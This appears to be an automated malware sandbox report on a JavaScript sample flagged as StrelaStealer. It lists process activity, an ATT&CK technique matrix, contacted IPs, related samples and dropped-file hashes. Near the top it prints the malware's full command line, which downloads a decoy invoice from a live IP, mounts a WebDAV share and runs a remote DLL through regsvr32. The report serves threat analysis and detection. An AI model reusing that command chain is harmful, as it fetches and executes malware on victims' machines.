Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\163462321827713.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Exploitation for Client Execution	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	141 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	132 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
4623256121503424814.js	7%	Virustotal		Browse
4623256121503424814.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/T	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/p	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.43	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/tem	net.exe, 00000007.00000002.1453607406.0000028FED1A8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2615988124.0000025BDFC0F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/T	net.exe, 00000007.00000002.1453607406.0000028FED1E4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/p	net.exe, 00000007.00000002.1453607406.0000028FED1E4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1453607406.0000028FED1FE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453607406.0000028FED1E4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453607406.0000028FED1A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1463936525.0000025BDFE00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588512
Start date and time:	2025-01-11 01:54:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	4623256121503424814.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 88.221.110.91, 2.16.100.168, 2.16.168.107, 2.16.168.105, 23.200.0.176, 23.200.0.186, 23.200.0.206, 23.200.0.177, 13.107.246.45, 4.245.163.56, 52.6.155.20, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:55:36	API Interceptor	20x Sleep call for process: powershell.exe modified
19:55:40	API Interceptor	1x Sleep call for process: net.exe modified
19:55:41	API Interceptor	2x Sleep call for process: svchost.exe modified
19:55:49	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15226731132828820.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.36
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4931971472692571
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1Ztaa:cJhXC9lHmutpJyiRDeJ/aUKrDgnms
MD5:	7213CF2CDCBFC708FC5F9FA8E853C675
SHA1:	B122A73DEA3BF40B97EC3B7B69410DB9A77BD88D
SHA-256:	1973785A63D51C8AC674D71089D70C7C5EDA643FDBA08283A49E63DEB7185A24
SHA-512:	657F2C32133B9490EA678CE4BE18D2F0C08B39D4604B18978FEB0B6565DCA262DEA29022A014A1E772A7456C767F77BF7903C2A73AC473FE307D23A75D02BD23
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x71cd69ed, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7216432012560214
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:razaNvFv8V2UW/DLzN/w4wZi
MD5:	1364B0D06379457099167F7E4EAEE7FB
SHA1:	266B3F68FA3288F6B7F29D491D3E7301DF095B4F
SHA-256:	5EEF1D4A94CBABCD9640B0683E0AB6A07A816BC618E8810E033D413A957F9377
SHA-512:	8460C87CD9E127C9E0160CE06901FCBA6A899737178F78081A52E3C422C5C474A805A06A9FB7F9D36AAD1ECD7012A5871EB5596E436DBA9D3740F16B75675B13
Malicious:	false
Preview:	q.i.... ...............X\...;...{......................p.D..........{}.7...}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{.....................................W7...}....................N_*7...}Q..........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07969213793705551
Encrypted:	false
SSDEEP:	3:YmUYe4WM0tsBGw/fgsCrZClW/tUPSlrY0t/tall+SHY/Xl+/rQLve:Ydz6gwfgs3GJQAS4M
MD5:	4335183F52425012D4DA8C72CC76DB67
SHA1:	22CAA9EB51FD7299F2A753E57E72CD04678EFD79
SHA-256:	FAEC82B449B742140EF06D17AE29FFE890D8415EA0A30E4BA9FBABA69C4F9B08
SHA-512:	39B9CA74F5AA8D8D45FD0F5FE24D034CF72F5B78613FE7CFA5173CB54BBA3657CD329390F1E077E2669333D64E1EF9C89746A48D4CDE6BC076757BB9B1FECCD2
Malicious:	false
Preview:	S.w......................................;...{..7...}Q......{}..............{}......{}.vv_Q.....{}...................N_7...}Q.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.1988692209197325
Encrypted:	false
SSDEEP:	6:iO43dWVMq2PqLTwi2nKuAl9OmbnIFUtS3dQrZmws3dQhkwOqLTwi2nKuAl9Ombjd:7DMv8wZHAahFUtZr/bh5TwZHAaSJ
MD5:	0BF800F3FB67CD2D11FF58231AFB0687
SHA1:	6E148C310057D09436EABCD5D1B4C325AD6B9BA6
SHA-256:	0CF6098D3DF0FC7D1EFCD333F3FBD2D545FA6AFF7CB2491D09D455A35056CA6E
SHA-512:	B09B373012A0FE0328970C07EF85C0187A59A9E94C34DE3AD1D3D4A3F5F5EC61EBAD56A9C45CBB800CC19F402B1BBC24F6E805686C0E998D669E2B559F7E29E2
Malicious:	false
Preview:	2025/01/10-19:55:41.483 804 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:55:41.485 804 Recovering log #3.2025/01/10-19:55:41.485 804 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.1988692209197325
Encrypted:	false
SSDEEP:	6:iO43dWVMq2PqLTwi2nKuAl9OmbnIFUtS3dQrZmws3dQhkwOqLTwi2nKuAl9Ombjd:7DMv8wZHAahFUtZr/bh5TwZHAaSJ
MD5:	0BF800F3FB67CD2D11FF58231AFB0687
SHA1:	6E148C310057D09436EABCD5D1B4C325AD6B9BA6
SHA-256:	0CF6098D3DF0FC7D1EFCD333F3FBD2D545FA6AFF7CB2491D09D455A35056CA6E
SHA-512:	B09B373012A0FE0328970C07EF85C0187A59A9E94C34DE3AD1D3D4A3F5F5EC61EBAD56A9C45CBB800CC19F402B1BBC24F6E805686C0E998D669E2B559F7E29E2
Malicious:	false
Preview:	2025/01/10-19:55:41.483 804 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:55:41.485 804 Recovering log #3.2025/01/10-19:55:41.485 804 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.138684358642344
Encrypted:	false
SSDEEP:	6:iO43XjGPIq2PqLTwi2nKuAl9Ombzo2jMGIFUtS3XQSZmws3XQekwOqLTwi2nKuAv:7cjgIv8wZHAa8uFUtut/Qf5TwZHAa8RJ
MD5:	44EBEE8E5F3BCF9A95B30743318675A5
SHA1:	E3F306511C8B0DDF67B6CFFC65A9DA3FFF98C7BB
SHA-256:	DC9CCF3CAA65CBD80DDB1384B6DDB345E548C6F2A541E327071705B201CA9CC7
SHA-512:	34E37684466E37536CF061C253CD78ACBD215703A5295B1C2B0346EF40564691DEF83359CE6076E976A4229E846AEC73F7BF1CBAB4663F6DC74B504195BF8A17
Malicious:	false
Preview:	2025/01/10-19:55:41.424 cb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:55:41.425 cb0 Recovering log #3.2025/01/10-19:55:41.425 cb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.138684358642344
Encrypted:	false
SSDEEP:	6:iO43XjGPIq2PqLTwi2nKuAl9Ombzo2jMGIFUtS3XQSZmws3XQekwOqLTwi2nKuAv:7cjgIv8wZHAa8uFUtut/Qf5TwZHAa8RJ
MD5:	44EBEE8E5F3BCF9A95B30743318675A5
SHA1:	E3F306511C8B0DDF67B6CFFC65A9DA3FFF98C7BB
SHA-256:	DC9CCF3CAA65CBD80DDB1384B6DDB345E548C6F2A541E327071705B201CA9CC7
SHA-512:	34E37684466E37536CF061C253CD78ACBD215703A5295B1C2B0346EF40564691DEF83359CE6076E976A4229E846AEC73F7BF1CBAB4663F6DC74B504195BF8A17
Malicious:	false
Preview:	2025/01/10-19:55:41.424 cb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:55:41.425 cb0 Recovering log #3.2025/01/10-19:55:41.425 cb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0bd391b5-6685-45d3-bee2-e42b1082c412.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.946664457055323
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPAlsBdOg2H4tcaq3QYiub5P7E4T3y:Y2sRdsCrdMH4c3QYhbt7nby
MD5:	78A6AA4E1BEB540C044A3B272C16CD14
SHA1:	FBB30A384A81FE067EB60AC5B7C853F96E4E67B9
SHA-256:	156E2E408679F0D3D0469503345B5A2BEADF111C206B12A6F04C4CF2A26B9E3D
SHA-512:	D55F44638C81FAEB0AF4809840032EB481B8D8562B69030F3DD840DAA0FBCC924C699E11035E56FBB2836E1688BE6FEC59CB546F1A47BB6B8229A8D1E158C954
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381116953191903","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144414},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.946664457055323
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPAlsBdOg2H4tcaq3QYiub5P7E4T3y:Y2sRdsCrdMH4c3QYhbt7nby
MD5:	78A6AA4E1BEB540C044A3B272C16CD14
SHA1:	FBB30A384A81FE067EB60AC5B7C853F96E4E67B9
SHA-256:	156E2E408679F0D3D0469503345B5A2BEADF111C206B12A6F04C4CF2A26B9E3D
SHA-512:	D55F44638C81FAEB0AF4809840032EB481B8D8562B69030F3DD840DAA0FBCC924C699E11035E56FBB2836E1688BE6FEC59CB546F1A47BB6B8229A8D1E158C954
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381116953191903","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144414},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.225144156897028
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068OzoBhiX:1CDLCmPj8j0/8qKgwPHYPx8xemT8OzoW
MD5:	6F7371DF5EF5064E758121250113E154
SHA1:	547B6249D200C25154F6399068EDB309F14E346A
SHA-256:	9E1AF31D6C9B94CFFD546449507B1593FCA4267A948859CE7427118B7EB84F40
SHA-512:	0F9C8E006E913E25C6261BC14F6533D32178A6AE508D3FAE37D860FB0810BFFFB926E2AE1A2883F31D17077EBF9724ED22CD31A9911148F0686A5CCE95002CDD
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.199804083322824
Encrypted:	false
SSDEEP:	6:iO41oq2PqLTwi2nKuAl9OmbzNMxIFUtSPSFZZmws4skwOqLTwi2nKuAl9OmbzNMT:7Yov8wZHAa8jFUtgSFZ/zs5TwZHAa84J
MD5:	783B245CEB8F9EA28CC9D696F40E31E4
SHA1:	F18DBE2547D8B2EE1DCF914750D0E06858F63198
SHA-256:	93BBB7579980475D1F0282D112FA2D9138FFE389B0F4A4983EBE586740B101D4
SHA-512:	044D7994CD20F4D0053DBEB6E5E110B5A007319B1427013B63663311AF460C20BE86E751A59350ACC2BA03840094E6E4658C6F596555DE266A2399775A7A6079
Malicious:	false
Preview:	2025/01/10-19:55:41.698 cb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:55:41.732 cb0 Recovering log #3.2025/01/10-19:55:41.735 cb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.199804083322824
Encrypted:	false
SSDEEP:	6:iO41oq2PqLTwi2nKuAl9OmbzNMxIFUtSPSFZZmws4skwOqLTwi2nKuAl9OmbzNMT:7Yov8wZHAa8jFUtgSFZ/zs5TwZHAa84J
MD5:	783B245CEB8F9EA28CC9D696F40E31E4
SHA1:	F18DBE2547D8B2EE1DCF914750D0E06858F63198
SHA-256:	93BBB7579980475D1F0282D112FA2D9138FFE389B0F4A4983EBE586740B101D4
SHA-512:	044D7994CD20F4D0053DBEB6E5E110B5A007319B1427013B63663311AF460C20BE86E751A59350ACC2BA03840094E6E4658C6F596555DE266A2399775A7A6079
Malicious:	false
Preview:	2025/01/10-19:55:41.698 cb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:55:41.732 cb0 Recovering log #3.2025/01/10-19:55:41.735 cb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 12, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 12
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.43855061150296
Encrypted:	false
SSDEEP:	384:iebci5GdiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:0xurVgazUpUTTGt
MD5:	FA1C4261C5D074D3D5775F599DECA72A
SHA1:	D61AE14BEDE37D2B04B723754097C8BDFADE1B83
SHA-256:	6D730DFC1242CD4DB71B2ADCE0BDE468E73E8EE888A73162BD7B1DAB9E163232
SHA-512:	C9E0EAD5F0EE7A2B89DAC919106698C2B09C11E7FB6ACFCB758E234FF339480AD594EAE78FC41911424AF4A331A6016044D303C85928784195BD8BA7B4C78EF9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
